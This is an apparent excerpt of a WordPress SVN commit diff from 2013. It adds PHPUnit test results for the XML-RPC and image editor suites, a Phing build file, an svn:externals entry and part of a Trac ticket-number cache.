+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="17" assertions="4" time="0.077795"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="30" assertions="1" time="0.060770"/>
+      <testcase name="test_invalid_post_type" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="37" assertions="1" time="0.054070"/>
+      <testcase name="test_filters" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="45" assertions="41" time="0.887860"/>
+      <testcase name="test_fields" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="108" assertions="11" time="0.114912"/>
+      <testcase name="test_search" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="134" assertions="4" time="0.120634"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getProfile.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="11" failures="0" errors="0" time="0.189933">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getProfile.php" line="9" assertions="2" time="0.005794"/>
+      <testcase name="test_subscriber" class="Tests_XMLRPC_wp_getProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getProfile.php" line="15" assertions="3" time="0.065644"/>
+      <testcase name="test_administrator" class="Tests_XMLRPC_wp_getProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getProfile.php" line="24" assertions="3" time="0.060709"/>
+      <testcase name="test_arbitrary_fields" class="Tests_XMLRPC_wp_getProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getProfile.php" line="33" assertions="3" time="0.057786"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" fullPackage="Tests.XMLRPC.wp" tests="5" assertions="10" failures="0" errors="0" time="0.410821">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" line="8" assertions="2" time="0.005985"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" line="14" assertions="2" time="0.073992"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" line="24" assertions="1" time="0.076470"/>
+      <testcase name="test_revision_count" class="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" line="32" assertions="4" time="0.137956"/>
+      <testcase name="test_revision_count_for_auto_draft_post_creation" class="Tests_XMLRPC_wp_getRevisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getRevisions.php" line="52" assertions="1" time="0.116418"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getTaxonomies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomies.php" fullPackage="Tests.XMLRPC.wp" tests="2" assertions="3" failures="0" errors="0" time="0.075695">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getTaxonomies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomies.php" line="8" assertions="2" time="0.006161"/>
+      <testcase name="test_taxonomy_validated" class="Tests_XMLRPC_wp_getTaxonomies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomies.php" line="14" assertions="1" time="0.069534"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" fullPackage="Tests.XMLRPC.wp" tests="6" assertions="21" failures="0" errors="0" time="0.302213">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="8" assertions="2" time="0.005854"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="14" assertions="3" time="0.058818"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="23" assertions="3" time="0.056668"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="32" assertions="3" time="0.060526"/>
+      <testcase name="test_taxonomy_validated" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="41" assertions="1" time="0.058244"/>
+      <testcase name="test_prepare_taxonomy" class="Tests_XMLRPC_wp_getTaxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTaxonomy.php" line="48" assertions="9" time="0.062103"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" fullPackage="Tests.XMLRPC.wp" tests="7" assertions="40" failures="0" errors="0" time="0.382879">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="16" assertions="3" time="0.009651"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="22" assertions="4" time="0.062378"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="31" assertions="4" time="0.061220"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="40" assertions="4" time="0.062541"/>
+      <testcase name="test_empty_term" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="50" assertions="4" time="0.062075"/>
+      <testcase name="test_invalid_term" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="59" assertions="4" time="0.061947"/>
+      <testcase name="test_valid_term" class="Tests_XMLRPC_wp_getTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerm.php" line="68" assertions="17" time="0.063067"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" fullPackage="Tests.XMLRPC.wp" tests="8" assertions="54" failures="0" errors="0" time="0.678570">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="8" assertions="2" time="0.006104"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="14" assertions="3" time="0.063844"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="23" assertions="3" time="0.060425"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="32" assertions="3" time="0.058463"/>
+      <testcase name="test_valid_terms" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="41" assertions="11" time="0.062942"/>
+      <testcase name="test_custom_taxonomy" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="61" assertions="22" time="0.160376"/>
+      <testcase name="test_term_ordering" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="103" assertions="2" time="0.182356"/>
+      <testcase name="test_terms_search" class="Tests_XMLRPC_wp_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getTerms.php" line="127" assertions="8" time="0.084060"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" fullPackage="Tests.XMLRPC.wp" tests="8" assertions="44" failures="0" errors="0" time="0.754721">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="26" assertions="2" time="0.044631"/>
+      <testcase name="test_invalid_user" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="32" assertions="2" time="0.061180"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="38" assertions="2" time="0.133557"/>
+      <testcase name="test_subscriber_self" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="47" assertions="2" time="0.096281"/>
+      <testcase name="test_valid_user" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="55" assertions="27" time="0.117178"/>
+      <testcase name="test_no_fields" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="110" assertions="3" time="0.101875"/>
+      <testcase name="test_basic_fields" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="121" assertions="3" time="0.103977"/>
+      <testcase name="test_arbitrary_fields" class="Tests_XMLRPC_wp_getUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUser.php" line="132" assertions="3" time="0.096042"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" fullPackage="Tests.XMLRPC.wp" tests="7" assertions="31" failures="0" errors="0" time="1.036671">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="9" assertions="2" time="0.006629"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="15" assertions="2" time="0.056385"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="23" assertions="14" time="0.064008"/>
+      <testcase name="test_invalid_role" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="45" assertions="2" time="0.059998"/>
+      <testcase name="test_role_filter" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="56" assertions="5" time="0.167851"/>
+      <testcase name="test_paging_filters" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="77" assertions="1" time="0.619387"/>
+      <testcase name="test_order_filters" class="Tests_XMLRPC_wp_getUsers" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getUsers.php" line="102" assertions="5" time="0.062413"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" fullPackage="Tests.XMLRPC.wp" tests="24" assertions="60" failures="0" errors="0" time="2.100758">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="8" assertions="2" time="0.006022"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="14" assertions="2" time="0.056576"/>
+      <testcase name="test_no_content" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="22" assertions="3" time="0.069201"/>
+      <testcase name="test_basic_content" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="31" assertions="2" time="0.088932"/>
+      <testcase name="test_ignore_id" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="40" assertions="2" time="0.096107"/>
+      <testcase name="test_capable_publish" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="49" assertions="1" time="0.094235"/>
+      <testcase name="test_incapable_publish" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="57" assertions="2" time="0.059698"/>
+      <testcase name="test_capable_private" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="66" assertions="1" time="0.087120"/>
+      <testcase name="test_incapable_private" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="74" assertions="2" time="0.062346"/>
+      <testcase name="test_capable_other_author" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="83" assertions="1" time="0.135867"/>
+      <testcase name="test_incapable_other_author" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="92" assertions="2" time="0.163820"/>
+      <testcase name="test_invalid_author" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="102" assertions="2" time="0.060824"/>
+      <testcase name="test_empty_author" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="111" assertions="4" time="0.088693"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="124" assertions="3" time="0.103020"/>
+      <testcase name="test_invalid_post_status" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="151" assertions="2" time="0.084907"/>
+      <testcase name="test_incapable_sticky" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="160" assertions="2" time="0.065561"/>
+      <testcase name="test_capable_sticky" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="169" assertions="2" time="0.087312"/>
+      <testcase name="test_private_sticky" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="178" assertions="2" time="0.065045"/>
+      <testcase name="test_post_format" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="187" assertions="2" time="0.101755"/>
+      <testcase name="test_invalid_post_format" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="196" assertions="2" time="0.093671"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="205" assertions="4" time="0.087803"/>
+      <testcase name="test_invalid_term_id" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="229" assertions="2" time="0.072829"/>
+      <testcase name="test_terms" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="243" assertions="7" time="0.112635"/>
+      <testcase name="test_terms_names" class="Tests_XMLRPC_wp_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newPost.php" line="268" assertions="6" time="0.156779"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" fullPackage="Tests.XMLRPC.wp" tests="11" assertions="39" failures="0" errors="0" time="0.694329">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="17" assertions="3" time="0.008627"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="23" assertions="4" time="0.067697"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="32" assertions="4" time="0.066063"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="41" assertions="4" time="0.061398"/>
+      <testcase name="test_empty_term" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="50" assertions="4" time="0.077704"/>
+      <testcase name="test_parent_for_nonhierarchical" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="59" assertions="4" time="0.062518"/>
+      <testcase name="test_parent_invalid" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="68" assertions="3" time="0.064258"/>
+      <testcase name="test_parent_not_existing" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="76" assertions="4" time="0.064635"/>
+      <testcase name="test_add_term" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="86" assertions="3" time="0.072415"/>
+      <testcase name="test_add_term_with_parent" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="94" assertions="3" time="0.072709"/>
+      <testcase name="test_add_term_with_all" class="Tests_XMLRPC_wp_newTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/newTerm.php" line="102" assertions="3" time="0.076305"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_restoreRevision" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/restoreRevision.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="7" failures="0" errors="0" time="0.364110">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_restoreRevision" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/restoreRevision.php" line="24" assertions="2" time="0.039030"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_restoreRevision" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/restoreRevision.php" line="30" assertions="2" time="0.091950"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_restoreRevision" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/restoreRevision.php" line="38" assertions="1" time="0.122607"/>
+      <testcase name="test_revision_restored" class="Tests_XMLRPC_wp_restoreRevision" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/restoreRevision.php" line="45" assertions="2" time="0.110523"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_uploadFile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/uploadFile.php" fullPackage="Tests.XMLRPC.wp" tests="1" assertions="6" failures="0" errors="0" time="0.125643">
+      <testcase name="test_valid_attachment" class="Tests_XMLRPC_wp_uploadFile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/uploadFile.php" line="8" assertions="6" time="0.125643"/>
+    </testsuite>
+    <testsuite name="Tests_Actions_Closures" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions/closures.php" fullPackage="Tests.Actions" tests="1" assertions="4" failures="0" errors="0" time="0.003193">
+      <testcase name="test_action_closure" class="Tests_Actions_Closures" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions/closures.php" line="13" assertions="4" time="0.003193"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" fullPackage="Tests.Image" tests="6" assertions="15" failures="0" errors="0" time="0.007182">
+      <testcase name="test_get_editor_load_returns_true" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="26" assertions="1" time="0.001092"/>
+      <testcase name="test_get_editor_load_returns_false" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="36" assertions="1" time="0.001281"/>
+      <testcase name="test_set_quality" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="50" assertions="4" time="0.001249"/>
+      <testcase name="test_generate_filename" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="77" assertions="5" time="0.001407"/>
+      <testcase name="test_get_size" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="109" assertions="2" time="0.001112"/>
+      <testcase name="test_get_suffix" class="Tests_Image_Editor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor.php" line="132" assertions="2" time="0.001041"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" fullPackage="Tests.Image.Editor" tests="8" assertions="10" failures="0" errors="0" time="0.011965">
+      <testcase name="test_supports_mime_type" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="23" assertions="3" time="0.000266"/>
+      <testcase name="test_resize" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="35" assertions="1" time="0.001443"/>
+      <testcase name="test_resize_and_crop" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="51" assertions="1" time="0.001320"/>
+      <testcase name="test_crop" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="66" assertions="1" time="0.001091"/>
+      <testcase name="test_rotate" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="82" assertions="1" time="0.001039"/>
+      <testcase name="test_flip" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="102" assertions="1" time="0.001586"/>
+      <testcase name="test_image_preserves_alpha_on_resize" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="124" assertions="1" time="0.002712"/>
+      <testcase name="test_image_preserves_alpha" class="Tests_Image_Editor_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_gd.php" line="144" assertions="1" time="0.002508"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Editor_Imagick" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/editor_imagick.php" fullPackage="Tests.Image.Editor" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+  </testsuite>
+</testsuites>
</ins></span></pre></div>
<a id="trunktestsbuildxml"></a>
<div class="addfile"><h4>Added: trunk/tests/build.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/build.xml                            (rev 0)
+++ trunk/tests/build.xml       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,15 @@
</span><ins>+<?xml version="1.0" encoding="utf-8"?>
+<project name="WordPress Unit Tests" default="build" basedir=".">
+    <target name="clean">
+        <delete dir="build" />
+    </target>
+    <target name="prepare">
+        <mkdir dir="build/logs" />
+        <mkdir dir="build/phpunitreport" />
+    </target>
+    <target name="phpunit">
+        <exec command="phpunit" passthru="true"></exec>
+        <phpunitreport infile="build/logs/junit.xml" format="frames" todir="build/phpunitreport" usesorttable="true" />
+    </target>
+    <target name="build" depends="clean,prepare,phpunit" />
+</project>
</ins><span class="cx">\ No newline at end of file
</span><span class="cx">Index: trunk/tests/data
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data    2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data     2013-08-07 06:38:38 UTC (rev 25002)
</ins></span></pre></div>
<a id="trunktestsdata"></a>
<div class="propset"><h4>Property changes: trunk/tests/data</h4>
<pre class="diff"><span>
</span></pre></div>
<a id="svnexternals"></a>
<div class="addfile"><h4>Added: svn:externals</h4></div>
<ins>+-r2679 https://wpcom-themes.svn.automattic.com/ wpcom-themes
</ins><a id="trunktestsdatatracticketcachecoretracwordpressorg"></a>
<div class="addfile"><h4>Added: trunk/tests/data/.trac-ticket-cache.core.trac.wordpress.org (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/.trac-ticket-cache.core.trac.wordpress.org                              (rev 0)
+++ trunk/tests/data/.trac-ticket-cache.core.trac.wordpress.org 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,3795 @@
</span><ins>+\xBFid
+4337
+5034
+5809
+7580
+8910
+9064
+9510
+9547
+9568
+10041
+10364
+10511
+11334
+12302
+13069
+13158
+13651
+13780
+14134
+14201
+14485
+15256
+15366
+15919
+16240
+16284
+16606
+17689
+18738
+19023
+22876
+22981
+24165
+24551
+761
+1914
+2531
+2691
+2702
+2877
+3052
+3260
+3329
+3398
+3491
+3567
+3632
+3670
+3833
+3842
+4004
+4010
+4027
+4116
+4221
+4253
+4328
+4332
+4463
+4518
+4555
+4575
+4711
+4893
+4916
+4965
+4969
+5031
+5117
+5120
+5130
+5161
+5172
+5235
+5250
+5252
+5305
+5310
+5358
+5461
+5678
+5692
+5725
+5842
+5915
+5918
+5932
+5942
+5953
+5998
+6106
+6109
+6122
+6286
+6297
+6331
+6342
+6369
+6379
+6393
+6405
+6425
+6430
+6479
+6492
+6531
+6536
+6619
+6698
+6768
